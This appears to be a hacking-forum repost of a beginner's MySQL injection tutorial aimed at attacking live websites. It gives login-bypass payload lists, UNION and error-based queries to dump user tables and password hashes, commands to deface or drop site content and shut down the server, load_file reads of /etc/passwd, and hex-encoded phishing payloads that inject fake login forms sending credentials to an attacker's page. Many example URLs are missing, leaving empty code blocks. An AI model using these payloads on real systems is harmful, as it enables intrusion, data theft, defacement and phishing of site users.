Re-posted and Updated [Complete MySQL Injection]
Credits: Nail Sidorov ( & Xenu
"Katana can slay any security" - #SamuraiZ


#0x00 ~ Background

This article entitled "Complete MySQL Injection For Newbies" intends to provide the complete knowledge and work-how of SQL injection specially targeted on MySQL database except the stacked query parts. First contribution over here...

Table of Content
  • Intro
  • What Is Database?
  • What Is SQL Injection?
  • Bypassing Logins
  • Accessing Secret Data
    • Checking for vulnerability
    • Find the number of columns
    • Addressing vulnerable part
    • Finding MySQL version
    • MySQL 5 or above injection
    • MySQL 4 injection
  • Modifying Site Content
  • Shutting Down The MySQL Server
  • Loadfile
  • MySQL Root
  • Major MySQL Commands
  • Finalizing The Injection Tutorial
  • Update
    • Bypassing Logins Advanced
    • RFI over SQL Injection
    • URL Spoofed Phishing
    • Headers
    • Cookie
  • The End

#0x01 ~ Introduction

Greetz to all, for Those Who do not know about me I am nightmare for them =) .. In this tutorial, I Will Demonstrate the infamous injection in MySQL newbie perspective so That all the newbies Become Able to Become Successful SQL injector. Purpose, be sure to check Various functions in PHP & MySQL Various sites Which Will help you a lot ... Also do not be harsh Be Me If There Are Any grammatical errors on the tutorial Because english IS NOT my native language (I'm from Rings Of Saturn). Now lets begin our walkthrough of SQL injection.

#0x02 ~ What Is Database?

Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either because of their vulnerability or because of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.

#0x03 ~ What Is SQL Injection?

SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private data. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.

In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough...

#0x04 ~ Bypassing Logins

Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login script is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??

Let's see an example, where the username admin with the password sam207 can login to the site. Suppose, the SQL query for this is carried out as below:
HTML Code:
SELECT USER from database WHERE username='admin' AND password='xenu'
And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the script is not sanitized. This opens a door for the hackers to gain illegal access to the site.

In this example, the attacker can enter the following user data in the login form:
username:a or 1=1--

So, this would make our query as:
PHP Code:
SELECT USER from database WHERE username='a' or 1=1-- AND password=''  

Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.

So our above query becomes:
PHP Code:
SELECT USER from database WHERE username='a' or 1=1  

Now this query evaluates true even if there is no user called 'a' because 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.

There can be various other username and password combinations to play with the vulnerable sites. You can create your own new combinations for the site login.

Few such combinations are:
username:' or 1='1        password:' or 1='1
username:' or '1'='1'    password:' or '1'='1'
username:or 1=1        password:or 1=1

This was the basic okay let us assume now different queries and different injection for them.

PHP Code:
select username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;  

such combinations are:
') or true--
') or ('')=('
') or 1--
') or ('x')=('

PHP Code:
select username,pass from users where username="$username" and password="$passwrd" limit 0,1;  

such combinations are:
" or true--
" or ""="
" or 1--
" or "x"="

PHP Code:
select username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;  

such combinations are:
") or true--
") or ("")=("
") or 1--
") or ("x")=("

PHP Code:
select username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;  

such combinations are:
')) or true--
')) or ((''))=(('
')) or 1--
')) or (('x'))=(('

Anothers Payloads:
' '
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
" "
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

That's all about bypassing logins.

#0x05 ~ Accessing Secret Data

SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.

#0x05.a ~ Checking for vulnerability

Suppose, you got a site:
PHP Code:
Now to check if it is vulnerable, you would simply add ' in the end i.e. where id variable is assigned.

So, it is:
PHP Code:

Now if the site is not vulnerable, it filters and the page loads normally.
But, if it doesn't filter the query string, it would give the error something like below:
"MySQL Syntax Error By '5'' In Article.php on line 15."
error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.

Also just using ' may not be the sure test; so you may try different things like:
PHP Code:
If you get error with this, you again come to know that its vulnerable... Just try different things..

#0x05.b ~ Find the number of columns

So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.

That is, we make our URL query as:
PHP Code:
This didn't give error.

Now, I do increase it to 2:
PHP Code:
Still no error
So, we need to increase until we get the error.

In my example, I got error when I put the value 3 i.e:
PHP Code:
This gave me error.

So, it means there are 2 columns in the current table (3 - 1 = 2). This is how we find the number of columns.

#0x05.c ~ Addressing Vulnerable Part

Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.

First lets craft the union statement which won't error.. This becomes like this:
PHP Code:
This would error because our query needs to have one more null there.. Also null doesnot cause any type conversion error as it is just null..

So for our injection, it becomes:
PHP Code:

For this we do:
PHP Code:
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.

In my example, 1 is seen on the page. This means, I should replace 1 with my thingsto proceed further. Got it? So lets move forward.

Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:
PHP Code:

PHP Code:
If xenu is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..

#0x05.d ~ Finding MySQL version

For our injection, it is necessary to find the MySQL version because if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().

So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:

PHP Code:

PHP Code:

So, this would return the version of MySQL running on the server.

But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:
PHP Code:
Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.

@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.

Quick note: Also, you may check for user, database,etc.. by using following:
PHP Code:

#0x05.e ~ MySQL 5 or above injection

Here, I m gonna show u how to access data in the server running MySQL 5 or above.

U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.

For getting table list, we use:
table_name from information_schema.tables

For getting column list, we use:
column_name from information_schema.columns

So our query for getting the table list in our example would be:
PHP Code:

And yeah if u had to use unhex(hex()) while finding version, u will have to do:
PHP Code:

This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.

Similarly, to get the column list, we would make our query as:
PHP Code:
<?php,2+FROM information_schema.columns/*  

This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.

Alternatively to find the column in the specific table, u can do something like below:
PHP Code:

This would display the columns present in the table tbluser. But this may not work always based on PHP.INI so hex up.

Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.

There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using semicolon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)

What I do is:
PHP Code:

And this gives me the username and password like below:

Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like hashcat, passwordpro(etc) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207.

Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.

#0x05.f ~ MySQL version 4 injection

Now say ur victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 because it lacks support for information_schema.tables and information_schema.columns.
So now u will have to guess the table name and column name until u do not get error. Also, if the MySQL version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports xenu_article in the error.. So, you know that xenu_ is the prefix used in the table names...

Anyway, lets go for MySQL version 4 injection...

For example, u would do as below:
PHP Code:

Here, I guessed for the table name as user. But this gave me the error because the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.

When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.

PHP Code:

The page loaded normally. Now again u have to guess the column names present in the tbluser table.

I do something like below:
PHP Code:
    //this gave me error so there is no column with this name. 

PHP Code:
    //It loaded the page normally along with the username from the table. 

PHP Code:
<?php,2+FROM tbluser/* 
    //it errored so again the column pass doesnot exist in the table tbluser. 

PHP Code:
    //the page loaded normally with password hash(or plaintext password). 

Now u may do this:
PHP Code:

This gave me:

Now I just need to login the site and do whatever I wanted.

Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc.
As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...

U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.

#0x06 ~ Modifying Site Content

Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.

Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed. But stacked queries donot work in MySQL.

First let me list these commands:

UPDATE: It is used to edit infos already in the db without deleting any rows.
DELETE: It is used to delete the contents of one or more fields.
DROP: It is used completely delete a table & all its associated data.
Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.
Command Usage:
UPDATE: Our vulnerable page is:

PHP Code:

Lets say the query is:

PHP Code:
SELECT title,data,author FROM article WHERE id=5 

Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.

So we would do:

PHP Code:
<?php'Hacked By Xenu for R00TW0RM C0MMUNITY'/* 

or, u could alternatively do:

PHP Code:
<?php'Hacked By r00tw0rm',data='Ur site has zero security',author='Xenu'/* 

By executing first query, we have set the title value as 'Hacked By r00tw0rm' in the table article while in second query, we have updated all three fields title, data, & author in the table article.
Sometimes, u may want to change the specific page with id=5. For this u will do:

PHP Code:
<?php'value 1',data='value 2',author='value 3'+WHERE+id=5/*  

DELETE:As already stated, this deletes the content of one or more fields permanently from the db server.
The syntax is:

PHP Code:

Or if you want to delete these fields from the id=5, you will do:

PHP Code:

DROP:This is another deadly command u can use. With this, u can delete a table & all its associated data.
For this, we make our URL as:

PHP Code:

This would delete table article & all its contents.

Finally, I want to say little about ';'.

Though I have not used this in my tutorial, u can use it to end ur first query and start another one.

This ; can be kept at the end of our first query so that we can start new query after it.

#0x07 ~ Shutting Down MySQL Server

This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using:


So, you would craft a query which would execute the above command...

For example, in my case, I would do the following:

PHP Code:

WOW, IT'S CRAZY ! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources xD

#0x08 ~ Loadfile

MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like /etc/passwd, etc..

Do something like below:

PHP Code:

But sometimes, you will have to hex the part & do something like below:

PHP Code:

where I have hexed... Now, if we are lucky, the script would echo the /etc/passwd in the result..
Futher reading:

#0x08 ~ MySQL Root

If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the MySQL database which ships with every installation of MySQL..

For this, you will do:

PHP Code:

Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But has one to do it..

#0x09 ~ Major MySQL Commands

Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..

All the commands here are copy pasted from the post at h4cky0u & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..

Quote:ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transaction
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database

#0x09 ~ Finalizing The Injection Tutorial

I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..

PHP Code:
alert("XSS via SQL injection"); 
Again in the above injection, you may require to hex up the javascript part for bypassing the magic quotes..

Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..

In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...

#0x10 ~ Update

I take this opportunity to update this complet paper undefined

#0x10.a ~ Bypassing Logins Advanced

I hope you enjoyed reading 'Bypassing Logins' chapter. So its time to move on to how can someone dump out the database of a vulnerable Login Form.

PHP Code:
select username,pass from users where username="$uname" and password="$passwrd" limit 0,1
select username,pass from users where username='$uname' and password='$passwrd' limit 0,1  

username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ''='
username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ""="
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --+
username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --+
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) #
username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) #
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --
username : " (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --

You can again leave the password field empty. Now lets see what will the query passed.

PHP Code:
select username,pass from users where username='' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ''='' and password='' limit 0,1  

#0x10.b ~ RFI over SQL Injection

Not much to explain if you have read this paper and you know the RFI vulnerability. It is very easy !

PHP Code:

#0x10.c ~ URL Spoofed Phishing

This time as the title say it all we are going to do phishing with URL spoofing using SQL injection vulnerabilty. There are three ways for that[/color]
  • Injection HTML
  • Injection iFrame
  • Modify Current Form

We are going to inject our payload into the SQL injection and add some extra code to the webpage just as we did in XSS.

First, the Injection HTML. To make things simple we will encode our payload into hex. For i.e of Payload:

PHP Code:
<form action= method="POST">
Username : <input type="text" name="username"><br>
Password :<input type="text" name="password">
<input type="submit">
<iframe height=0 width=0>  

Encoded to Hex:
3c666f726d20616374696f6e3d687474703a2f2f736974652e636f6d2f7730726d2e706870206d65 74686f643d22504f5354223e0d0a557365726e616d65203a203c696e70757420747970653d227465 787422206e616d653d22757365726e616d65223e3c62723e0d0a50617373776f7264203a3c696e70 757420747970653d227465787422206e616d653d2270617373776f7264223e0d0a3c696e70757420 747970653d227375626d6974223e0d0a3c2f666f726d3e0d0a3c696672616d65206865696768743d 302077696474683d303e

Inject the Hex (Payload) in your injection SQL.
PHP Code:
<?php'+union+select+1,2,0x3c666f726d20616374696f6e3d687474703a2f2f736974652e636f6d2f7 730726d2e706870206d6574686f643d22504f5354223e0d0a557365726e616d65203a203c696e707 57420747970653d227465787422206e616d653d22757365726e616d65223e3c62723e0d0a5061737 3776f7264203a3c696e70757420747970653d227465787422206e616d653d2270617373776f72642 23e0d0a3c696e70757420747970653d227375626d6974223e0d0a3c2f666f726d3e0d0a3c6966726 16d65206865696768743d302077696474683d303e,4,5--  

Injection Iframe

PHP Code:
<br><iframe src="" height=300 width=300 frameBorder="0" scrolling="no"></iframe>  

3c62723e3c696672616d65207372633d22687474703a2f2f736974652e636f6d2f76697275732e70 687022206865696768743d3330302077696474683d333030206672616d65426f726465723d223022 207363726f6c6c696e673d226e6f223e3c2f696672616d653e,4,5--

PHP Code:
<?php'+union+select+1,2,0x3c62723e3c696672616d65207372633d22687474703a2f2f736974652e6 36f6d2f76697275732e70687022206865696768743d3330302077696474683d333030206672616d6 5426f726465723d223022207363726f6c6c696e673d226e6f223e3c2f696672616d653e,4,5--  

Change Current Form

In this attack we will inject javascript in the website which will change the action of current login page in the site to our fake login page link.

PHP Code:

3c7363726970743e646f63756d656e742e676574456c656d656e747342795461674e616d65282266 6f726d22295b305d2e616374696f6e3d22687474703a2f2f7777772e736974652e636f6d2f766972 75732e706870223c2f7363726970743e

PHP Code:
<?php' union select 1,2,0x3c7363726970743e646f63756d656e742e676574456c656d656e747342795461674e6 16d652822666f726d22295b305d2e616374696f6e3d22687474703a2f2f7777772e736974652e636 f6d2f76697275732e706870223c2f7363726970743e,4,5--  

#0x10.c ~ Headers

HTTP Query String Parameters (GET): input parameters sent in the URL.
HTTP Body Parameters (POST): input parameters sent in the HTTP body.
HTTP Cookie Parameters: input parameters sent in the HTTP cookie.
HTTP Headers: HTTP request headers used by the application.

HTTP header fields are components of the message header of requests and responses in the Hypertext Transfer Protocol (HTTP). They define the operating parameters of an HTTP transaction.

Example: Request HTTP
GET / HTTP/1.1
Connection: Keep-Alive
Keep-Alive: 300
Host: host
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv: Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E)
Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134
We can consider the HTTP Cookies, when are stored in databases for sessions identification, as the first potential HTTP variables which should be tested. We will see next in an example of Cookie based SQL injection. There are also other HTTP headers related to the application.

X-Forwarded-For is an HTTP header field considered as a de facto standard for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or load balancer.

We will see an example of this flaw basing of a form submission.

PHP Code:
$req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");  

The variable login is correctly controlled due to the sanitize() method.

PHP Code:
1function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } }  

Let us inspect the ip variable. It is allocating the output of the ip_addr() method.

PHP Code:
function ip_adr() { if
(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } }  

Obviously, the IP address is retrieved from the HTTP header X_FORWARDED_FOR. This later is controlled by the preg_match which verifies if this parameter does hold at least one IP address. As a matter of fact, the environment variable HTTP_X_FORWARDED_FOR is not properly sanitized before its value being used in the SQL query. This can lead to run any SQL query by injecting arbitrary SQL code into this field.

The simple modification of this header field to something like:

GET /index.php HTTP/1.1
Host: [host]
X_FORWARDED_FOR :' or 1=1#
will lead to bypass the authentication control.

User agent is an HTTP header field gives the software program used by the original client. This is for statistical purposes and the tracing of protocol violations. It should be included. The first white space delimited word must be the software product name, with an optional slash and version designator.

Not all applications are written to capture the user-agent data, but sometimes applications are designed to store such information (ex: shopping cart providers) to make use of it. In this case, it’s worth investigating the user-agent header for possible issues.

HTTP query example:
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*

Referer is another HTTP header which can be vulnerable to SQL injection once the application is storing it in database without sanitizing it. It’s an optional header field that allows the client to specify, for the server’s benefit, the address ( URI ) of the document (or element within the document) from which the URI in the request was obtained. This allows a server to generate lists of back-links to documents, for interest, logging, etc. It allows bad links to be traced for maintenance.

GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*

#0x10.d ~ Cookie

Cookie Manager+ (Firefox Addon) allows view, edit and create new cookies. It also allows show extra information about cookies and allows edit multiple cookies at once, as well as backup/restore them.

After installing it, from the Tools menu, select Cookies Manager+.We select a Cookie variable related to the target application.

[Image: 033012_1704_SQLInjectio3.png]

We will edit the language_id variable. To figure out the SQL injection flaw, we will add a quote “‘” in the field
content of the variable language_id.

[Image: 033012_1704_SQLInjectio4.png]

After refreshing the page, or clicking on other internal link of the application, the application submits the request using the edited HTTP cookie. The result is triggered an SQL error:

[Image: 033012_1704_SQLInjectio5.png]
This database error is alerting us for a susceptible SQL injection flaw.

The advantage of using Cookies Manager+ is that it’s simple to use, act directly on the cookie and saves the previous edited value of the cookie.

We will try to determine the number of column using another Firefox plug-in.

Greetz & Shoutz

Greetz to all at darkmindz. Load of shoutz to Psycho and sToRm(U two guys rock) all at GNY and now r00tw0rm undefined . Also greet to t0mmy9(Thanks for always helping me learn things) at this is legal.

And hi to all my classmates bigyan musa, bhakunde sameer, gainda sandeep, joe haatti, dipesh bhedo, eman bhainsi, milan biralo, nikesh gandeula(Pheretima posthuma) & all my other classmates. Widout u guys, I m having boring days in my biology class. Hope to meet u all guys. And I wish bright future of u guys. Become successful doctors, engineers or whatever you wish to be...

The End

With this, my tutorial which was mainly intended for newbies, ends here. I hope u liked my tutorial. I will hopefully write new tutorials in newbie concept after I learn myself all these things.

And finally, read more and more, ask more and more and thats the best way to learn the things.

Keep Learning & Enjoy It.

Free to Freedom... Hack The Planet !

#HTP - #EOF - #SamuraiZ

Messages In This Thread
Re-posted and Updated [Complete MySQL Injection] - by Insider - 09-22-2015, 04:41 PM

Possibly Related Threads…
Thread Author Replies Views Last Post
  CRLF Injection - Manipulating an HTTP Request Insider 1 642 06-16-2020, 12:38 PM
Last Post: dropzone
  [Tutorial] Request header MySQL injection using netcat and burp suite Insider 0 564 06-16-2020, 02:53 AM
Last Post: Insider
  [SSI] Server-Side Includes Injection. [Tutorial] Insider 4 2,278 03-27-2020, 04:55 PM
Last Post: Insider
  Basics of website and server hacking Insider 0 1,635 03-26-2020, 09:34 PM
Last Post: Insider